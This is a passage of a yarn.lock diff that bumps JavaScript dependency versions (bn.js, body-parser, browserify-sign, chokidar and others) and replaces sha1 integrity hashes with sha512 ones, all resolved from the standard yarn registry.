 babel-types@^6.18.0, babel-types@^6.19.0, babel-types@^6.23.0, babel-types@^6.24.1, babel-types@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-types/-/babel-types-6.26.0.tgz#a3b073f94ab49eb6fa55cd65227a334380632497"
-  integrity sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=
+  integrity sha512-zhe3V/26rCWsEZK8kZN+HaQj5yQ1CilTObixFzKW1UWjqG7618Twz6YEsCnjfg5gBcJh02DrpCkS9h98ZqDY+g==
   dependencies:
     babel-runtime "^6.26.0"
     esutils "^2.0.2"
@@ -1174,7 +1210,7 @@ babylon@^6.17.0, babylon@^6.18.0:
 balanced-match@^0.4.2:
   version "0.4.2"
   resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-0.4.2.tgz#cb3f3e3c732dc0f01ee70b403f302e61d7709838"
-  integrity sha1-yz8+PHMtwPAe5wtAPzAuYddwmDg=
+  integrity sha512-STw03mQKnGUYtoNjmowo4F2cRmIIxYEGiMsjjwla/u5P1lxadj/05WkNaFjNiKTgJkj8KiXbgAiRTmcQRwQNtg==
 
 balanced-match@^1.0.0:
   version "1.0.0"
@@ -1207,7 +1243,7 @@ batch@0.6.1:
 bcrypt-pbkdf@^1.0.0:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz#a4301d389b6a43f9b67ff3ca11a3f6637e360e9e"
-  integrity sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=
+  integrity sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==
   dependencies:
     tweetnacl "^0.14.3"
 
@@ -1243,46 +1279,38 @@ bluebird@^3.4.7:
   resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
   integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
 
-bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.4.0:
-  version "4.11.9"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.11.9.tgz#26d556829458f9d1e81fc48952493d0ba3507828"
-  integrity sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw==
-
-bn.js@^4.11.9:
-  version "4.12.0"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88"
-  integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==
-
-bn.js@^5.0.0:
-  version "5.1.3"
-  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.1.3.tgz#beca005408f642ebebea80b042b4d18d2ac0ee6b"
-  integrity sha512-GkTiFpjFtUzU9CbMeJ5iazkCzGL3jrhzerzZIuqLABjbwRaFt33I9tUdSNryIptM+RxDet6OKm2WnLXzW51KsQ==
+bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9:
+  version "4.12.1"
+  resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.1.tgz#215741fe3c9dba2d7e12c001d0cfdbae43975ba7"
+  integrity sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==
 
 bn.js@^5.2.1:
   version "5.2.1"
   resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.1.tgz#0bc527a6a0d18d0aa8d5b0538ce4a77dccfa7b70"
   integrity sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==
 
-body-parser@1.19.0:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
-  integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
+body-parser@1.20.3:
+  version "1.20.3"
+  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.3.tgz#1953431221c6fb5cd63c4b36d53fab0928e548c6"
+  integrity sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==
   dependencies:
-    bytes "3.1.0"
-    content-type "~1.0.4"
+    bytes "3.1.2"
+    content-type "~1.0.5"
     debug "2.6.9"
-    depd "~1.1.2"
-    http-errors "1.7.2"
+    depd "2.0.0"
+    destroy "1.2.0"
+    http-errors "2.0.0"
     iconv-lite "0.4.24"
-    on-finished "~2.3.0"
-    qs "6.7.0"
-    raw-body "2.4.0"
-    type-is "~1.6.17"
+    on-finished "2.4.1"
+    qs "6.13.0"
+    raw-body "2.5.2"
+    type-is "~1.6.18"
+    unpipe "1.0.0"
 
 bonjour@^3.5.0:
   version "3.5.0"
   resolved "https://registry.yarnpkg.com/bonjour/-/bonjour-3.5.0.tgz#8e890a183d8ee9a2393b3844c691a42bcf7bc9f5"
-  integrity sha1-jokKGD2O6aI5OzhExpGkK897yfU=
+  integrity sha512-RaVTblr+OnEli0r/ud8InrU7D+G0y6aJhlxaLa6Pwty4+xoxboF1BsUI45tujvRpbj9dQVoglChqonGAsjEBYg==
   dependencies:
     array-flatten "^2.1.0"
     deep-equal "^1.0.1"
@@ -1291,10 +1319,10 @@ bonjour@^3.5.0:
     multicast-dns "^6.0.1"
     multicast-dns-service-types "^1.1.0"
 
-boolbase@~1.0.0:
+boolbase@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
-  integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
+  integrity sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==
 
 boxen@^1.2.1:
   version "1.3.0"
@@ -1320,7 +1348,7 @@ brace-expansion@^1.0.0, brace-expansion@^1.1.7:
 braces@^1.8.2:
   version "1.8.5"
   resolved "https://registry.yarnpkg.com/braces/-/braces-1.8.5.tgz#ba77962e12dff969d6b76711e914b737857bf6a7"
-  integrity sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=
+  integrity sha512-xU7bpz2ytJl1bH9cgIurjpg/n8Gohy9GTw81heDYLJQ4RU60dlyJsa+atVF2pI0yMMvKxI9HkKwjePCj5XI1hw==
   dependencies:
     expand-range "^1.8.1"
     preserve "^0.2.0"
@@ -1352,7 +1380,7 @@ braces@~3.0.2:
 brorand@^1.0.1, brorand@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
-  integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
+  integrity sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==
 
 browser-resolve@^1.11.2:
   version "1.11.3"
@@ -1361,7 +1389,7 @@ browser-resolve@^1.11.2:
   dependencies:
     resolve "1.1.7"
 
-browserify-aes@^1.0.0, browserify-aes@^1.0.4:
+browserify-aes@^1.0.4, browserify-aes@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
   integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==
@@ -1373,7 +1401,7 @@ browserify-aes@^1.0.0, browserify-aes@^1.0.4:
     inherits "^2.0.1"
     safe-buffer "^5.0.1"
 
-browserify-cipher@^1.0.0:
+browserify-cipher@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
   integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==
@@ -1393,26 +1421,28 @@ browserify-des@^1.0.0:
     safe-buffer "^5.1.2"
 
 browserify-rsa@^4.0.0, browserify-rsa@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
-  integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.1.tgz#06e530907fe2949dc21fc3c2e2302e10b1437238"
+  integrity sha512-YBjSAiTqM04ZVei6sXighu679a3SqWORA3qZTEqZImnlkDIFtKc6pNutpjyZ8RJTjQtuYfeetkxM11GwoYXMIQ==
   dependencies:
-    bn.js "^5.0.0"
-    randombytes "^2.0.1"
+    bn.js "^5.2.1"
+    randombytes "^2.1.0"
+    safe-buffer "^5.2.1"
 
-browserify-sign@^4.0.0:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.2.tgz#e78d4b69816d6e3dd1c747e64e9947f9ad79bc7e"
-  integrity sha512-1rudGyeYY42Dk6texmv7c4VcQ0EsvVbLwZkA+AQB7SxvXxmcD93jcHie8bzecJ+ChDlmAm2Qyu0+Ccg5uhZXCg==
+browserify-sign@^4.2.3:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.3.tgz#7afe4c01ec7ee59a89a558a4b75bd85ae62d4208"
+  integrity sha512-JWCZW6SKhfhjJxO8Tyiiy+XYB7cqd2S5/+WeYHsKdNKFlCBhKbblba1A/HN/90YwtxKc8tCErjffZl++UNmGiw==
   dependencies:
     bn.js "^5.2.1"
     browserify-rsa "^4.1.0"
     create-hash "^1.2.0"
     create-hmac "^1.1.7"
-    elliptic "^6.5.4"
+    elliptic "^6.5.5"
+    hash-base "~3.0"
     inherits "^2.0.4"
-    parse-asn1 "^5.1.6"
-    readable-stream "^3.6.2"
+    parse-asn1 "^5.1.7"
+    readable-stream "^2.3.8"
     safe-buffer "^5.2.1"
 
 browserify-zlib@^0.2.0:
@@ -1425,7 +1455,7 @@ browserify-zlib@^0.2.0:
 browserslist@^1.3.6, browserslist@^1.5.2, browserslist@^1.7.6:
   version "1.7.7"
   resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-1.7.7.tgz#0bd76704258be829b2398bb50e4b62d1a166b0b9"
-  integrity sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=
+  integrity sha512-qHJblDE2bXVRYzuDetv/wAeHOJyO97+9wxC1cdCtyzgNuSozOyRCiiLaCR1f71AN66lQdVVBipWm63V+a7bPOw==
   dependencies:
     caniuse-db "^1.0.30000639"
     electron-to-chromium "^1.2.7"
@@ -1441,7 +1471,7 @@ browserslist@^2.1.2, browserslist@^2.5.1:
 bser@1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/bser/-/bser-1.0.2.tgz#381116970b2a6deea5646dd15dd7278444b56169"
-  integrity sha1-OBEWlwsqbe6lZG3RXdcnhES1YWk=
+  integrity sha512-kKi2swDowbCsnwsYyJnMkz3N1utuJfnWcvzxVX45nWuumTNEkig97rvLVN60+8OWgAWuJdIyEfTPTZqyPoklwA==
   dependencies:
     node-int64 "^0.4.0"
 
@@ -1465,7 +1495,7 @@ buffer-indexof@^1.0.0:
 buffer-xor@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
-  integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
+  integrity sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ==
 
 buffer@^4.3.0:
   version "4.9.2"
@@ -1479,22 +1509,17 @@ buffer@^4.3.0:
 builtin-modules@^1.0.0, builtin-modules@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/builtin-modules/-/builtin-modules-1.1.1.tgz#270f076c5a72c02f5b65a47df94c5fe3a278892f"
-  integrity sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=
+  integrity sha512-wxXCdllwGhI2kCC0MnvTGYTMvnVZTvqgypkiTI8Pa5tcz2i6VqsqwYGgqwXji+4RgCzms6EajE4IxiUH6HH8nQ==
 
 builtin-status-codes@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
-  integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
-
-bytes@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048"
-  integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=
+  integrity sha512-HpGFw18DgFWlncDfjTa2rcQ4W88O1mC8e8yZ2AvQY5KDaktSTwo+KRf6nHK6FRI5FyRyb/5T6+TSxfP7QyGsmQ==
 
-bytes@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-  integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
+bytes@3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5"
+  integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==
 
 cache-base@^1.0.1:
   version "1.0.1"
@@ -1511,35 +1536,53 @@ cache-base@^1.0.1:
     union-value "^1.0.0"
     unset-value "^1.0.0"
 
-call-bind@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.0.tgz#24127054bb3f9bdcb4b1fb82418186072f77b8ce"
-  integrity sha512-AEXsYIyyDY3MCzbwdhzG3Jx1R0J2wetQyUynn6dYHAO+bg8l1k7jwZtRv4ryryFs7EP+NDlikJlVe59jr0cM2w==
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz#32e5892e6361b29b0b545ba6f7763378daca2840"
+  integrity sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.7, call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c"
+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2, call-bound@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.3.tgz#41cfd032b593e39176a71533ab4f384aa04fd681"
+  integrity sha512-YTd+6wGlNlPxSuri7Y6X8tY2dmm12UMH66RpKMhiX6rsk5wXXnYgbUcOt8kiS31/AjfoTOvCsE+w8nZQLQnzHA==
   dependencies:
-    function-bind "^1.1.1"
-    get-intrinsic "^1.0.0"
+    call-bind-apply-helpers "^1.0.1"
+    get-intrinsic "^1.2.6"
 
 caller-path@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-0.1.0.tgz#94085ef63581ecd3daa92444a8fe94e82577751f"
-  integrity sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=
+  integrity sha512-UJiE1otjXPF5/x+T3zTnSFiTOEmJoGTD9HmBoxnCUwho61a2eSNn/VwtwuIBDAo2SEOv1AJ7ARI5gCmohFLu/g==
   dependencies:
     callsites "^0.2.0"
 
 callsites@^0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/callsites/-/callsites-0.2.0.tgz#afab96262910a7f33c19a5775825c69f34e350ca"
-  integrity sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=
+  integrity sha512-Zv4Dns9IbXXmPkgRRUjAaJQgfN4xX5p6+RQFhWUqscdvvK2xK/ZL8b3IXIJsj+4sD+f24NwnWy2BY8AJ82JB0A==
 
 callsites@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
-  integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
+  integrity sha512-ksWePWBloaWPxJYQ8TL0JHvtci6G5QTKwQ95RcWAa/lzoAKuAOflGdAK92hpHXjkwb8zLxoLNUoNYZgVsaJzvQ==
 
 camel-case@3.0.x:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-3.0.0.tgz#ca3c3688a4e9cf3a4cda777dc4dcbc713249cf73"
-  integrity sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=
+  integrity sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==
   dependencies:
     no-case "^2.2.0"
     upper-case "^1.1.1"
@@ -1547,7 +1590,7 @@ camel-case@3.0.x:
 camelcase-keys@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-2.1.0.tgz#308beeaffdf28119051efa1d932213c91b8f92e7"
-  integrity sha1-MIvur/3ygRkFHvodkyITyRuPkuc=
+  integrity sha512-bA/Z/DERHKqoEOrp+qeGKw1QlvEQkGZSc0XaY6VnTxZr+Kv1G5zFwttpjv8qxZ/sBPT4nthwZaAcsAZTJlSKXQ==
   dependencies:
     camelcase "^2.0.0"
     map-obj "^1.0.0"
@@ -1555,27 +1598,27 @@ camelcase-keys@^2.0.0:
 camelcase@^1.0.2:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-1.2.1.tgz#9bb5304d2e0b56698b2c758b08a3eaa9daa58a39"
-  integrity sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=
+  integrity sha512-wzLkDa4K/mzI1OSITC+DUyjgIl/ETNHE9QvYgy6J6Jvqyyz4C0Xfd+lQhb19sX2jMpZV4IssUn0VDVmglV+s4g==
 
 camelcase@^2.0.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-2.1.1.tgz#7c1d16d679a1bbe59ca02cacecfb011e201f5a1f"
-  integrity sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=
+  integrity sha512-DLIsRzJVBQu72meAKPkWQOLcujdXT32hwdfnkI1frSiSRMK1MofjKHf+MEx0SB6fjEFXL8fBDv1dKymBlOp4Qw==
 
 camelcase@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-3.0.0.tgz#32fc4b9fcdaf845fcdf7e73bb97cac2261f0ab0a"
-  integrity sha1-MvxLn82vhF/N9+c7uXysImHwqwo=
+  integrity sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==
 
 camelcase@^4.0.0, camelcase@^4.1.0:
   version "4.1.0"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-4.1.0.tgz#d545635be1e33c542649c69173e5de6acfae34dd"
-  integrity sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=
+  integrity sha512-FxAv7HpHrXbh3aPo4o2qxHay2lkLY3x5Mw3KeE4KQE8ysVfziWeRZDwcjauvwBSGEC/nXUPzZy8zeh4HokqOnw==
 
 caniuse-api@^1.5.2:
   version "1.6.1"
   resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-1.6.1.tgz#b534e7c734c4f81ec5fbe8aca2ad24354b962c6c"
-  integrity sha1-tTTnxzTE+B7F++isoq0kNUuWLGw=
+  integrity sha512-SBTl70K0PkDUIebbkXrxWqZlHNs0wRgRD6QZ8guctShjbh63gEPfF+Wj0Yw+75f5Y8tSzqAI/NcisYv/cCah2Q==
   dependencies:
     browserslist "^1.3.6"
     caniuse-db "^1.0.30000529"
@@ -1583,34 +1626,34 @@ caniuse-api@^1.5.2:
     lodash.uniq "^4.5.0"
 
 caniuse-db@^1.0.30000529, caniuse-db@^1.0.30000634, caniuse-db@^1.0.30000639:
-  version "1.0.30001165"
-  resolved "https://registry.yarnpkg.com/caniuse-db/-/caniuse-db-1.0.30001165.tgz#579fd28b57e907dd9f8ce25970ac31f8afa5bf03"
-  integrity sha512-0Z8BRu+sxK2qh/+yXM+sUwbpX+qJpIg7BgAJZe3zw7WL6arffICUfNmUCPDRCP4WGyo4tC1d//1xAHz3mzA2uw==
+  version "1.0.30001692"
+  resolved "https://registry.yarnpkg.com/caniuse-db/-/caniuse-db-1.0.30001692.tgz#83785f11451fac6af542e8aebf5382c9e5723034"
+  integrity sha512-yrbj9o81/cUIK4zZUK9yztbhjqVj7xBvM59UwfuQyd2/5dx6p5PbhlG3sQr4a6LLTZjfd97Zu506jD8skOrHcQ==
 
 caniuse-lite@^1.0.30000748, caniuse-lite@^1.0.30000792:
-  version "1.0.30001165"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001165.tgz#32955490d2f60290bb186bb754f2981917fa744f"
-  integrity sha512-8cEsSMwXfx7lWSUMA2s08z9dIgsnR5NAqjXP23stdsU3AUWkCr/rr4s4OFtHXn5XXr6+7kam3QFVoYyXNPdJPA==
+  version "1.0.30001692"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001692.tgz#4585729d95e6b95be5b439da6ab55250cd125bf9"
+  integrity sha512-A95VKan0kdtrsnMubMKxEKUKImOPSuCpYgxSQBo036P5YYgVIcOYJEgt/txJWqObiRQeISNCfef9nvlQ0vbV7A==
 
 capture-stack-trace@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/capture-stack-trace/-/capture-stack-trace-1.0.1.tgz#a6c0bbe1f38f3aa0b92238ecb6ff42c344d4135d"
-  integrity sha512-mYQLZnx5Qt1JgB1WEiMCf2647plpGeQ2NMR/5L0HNZzGQo4fuSPnK+wjfPnKZV0aiJDgzmWqqkV/g7JD+DW0qw==
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/capture-stack-trace/-/capture-stack-trace-1.0.2.tgz#1c43f6b059d4249e7f3f8724f15f048b927d3a8a"
+  integrity sha512-X/WM2UQs6VMHUtjUDnZTRI+i1crWteJySFzr9UpGoQa4WQffXVTTXuekjl7TjZRlcF2XfjgITT0HxZ9RnxeT0w==
 
 case-sensitive-paths-webpack-plugin@2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.1.1.tgz#3d29ced8c1f124bf6f53846fb3f5894731fdc909"
-  integrity sha1-PSnO2MHxJL9vU4Rvs/WJRzH9yQk=
+  integrity sha512-Zg7Z9IuE0T+Ilg+o0IVpZXHAcN6VHO80BVxak3RIB1pmcbiITr06WlZ45Xa/KGQ7fQ/ar6C1KEkeI93tojBJPQ==
 
 caseless@~0.12.0:
   version "0.12.0"
   resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-  integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
+  integrity sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==
 
 center-align@^0.1.1:
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/center-align/-/center-align-0.1.3.tgz#aa0d32629b6ee972200411cbd4461c907bc2b7ad"
-  integrity sha1-qg0yYptu6XIgBBHL1EYckHvCt60=
+  integrity sha512-Baz3aNe2gd2LP2qk5U+sDk/m4oSuwSDcBfayTCTBoWpfIGO5XFxPmjILQII4NGiZjD6DoDI6kf7gKaxkf7s3VQ==
   dependencies:
     align-text "^0.1.3"
     lazy-cache "^1.0.3"
@@ -1618,7 +1661,7 @@ center-align@^0.1.1:
 chalk@1.1.3, chalk@^1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-  integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
+  integrity sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==
   dependencies:
     ansi-styles "^2.2.1"
     escape-string-regexp "^1.0.2"
@@ -1646,7 +1689,7 @@ chalk@^4.0.0:
 chardet@^0.4.0:
   version "0.4.2"
   resolved "https://registry.yarnpkg.com/chardet/-/chardet-0.4.2.tgz#b5473b33dc97c424e5d98dc87d55d4d8a29c8bf2"
-  integrity sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=
+  integrity sha512-j/Toj7f1z98Hh2cYo2BVr85EpIRWqUi7rtRSGxh/cqUjqrnJe9l9UE7IUGd2vQ2p+kSHLkSzObQPZPLUC6TQwg==
 
 chokidar@^2.0.0, chokidar@^2.1.8:
   version "2.1.8"
@@ -1668,19 +1711,19 @@ chokidar@^2.0.0, chokidar@^2.1.8:
     fsevents "^1.2.7"
 
 chokidar@^3.4.1:
-  version "3.4.3"
-  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.4.3.tgz#c1df38231448e45ca4ac588e6c79573ba6a57d5b"
-  integrity sha512-DtM3g7juCXQxFVSNPNByEC2+NImtBuxQQvWlHunpJIS5Ocr0lG306cC7FCi7cEA0fzmybPUIl4txBIobk1gGOQ==
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.6.0.tgz#197c6cc669ef2a8dc5e7b4d97ee4e092c3eb0d5b"
+  integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==
   dependencies:
-    anymatch "~3.1.1"
+    anymatch "~3.1.2"
     braces "~3.0.2"
-    glob-parent "~5.1.0"
+    glob-parent "~5.1.2"
     is-binary-path "~2.1.0"
     is-glob "~4.0.1"
     normalize-path "~3.0.0"
-    readdirp "~3.5.0"
+    readdirp "~3.6.0"
   optionalDependencies:
-    fsevents "~2.1.2"
+    fsevents "~2.3.2"
 
 ci-info@^1.5.0:
   version "1.6.0"
@@ -1688,12 +1731,12 @@ ci-info@^1.5.0:
   integrity sha512-vsGdkwSCDpWmP80ncATX7iea5DWQemg1UgCW5J8tqjU3lYw4FBYuj89J0CTVomA7BEfvSZd84GmHko+MxFQU2A==
 
 cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
-  integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.6.tgz#8fe672437d01cd6c4561af5334e0cc50ff1955f7"
+  integrity sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==
   dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
+    inherits "^2.0.4"
+    safe-buffer "^5.2.1"
 
 circular-json@^0.3.1:
   version "0.3.3"
@@ -1718,26 +1761,26 @@ class-utils@^0.3.5:
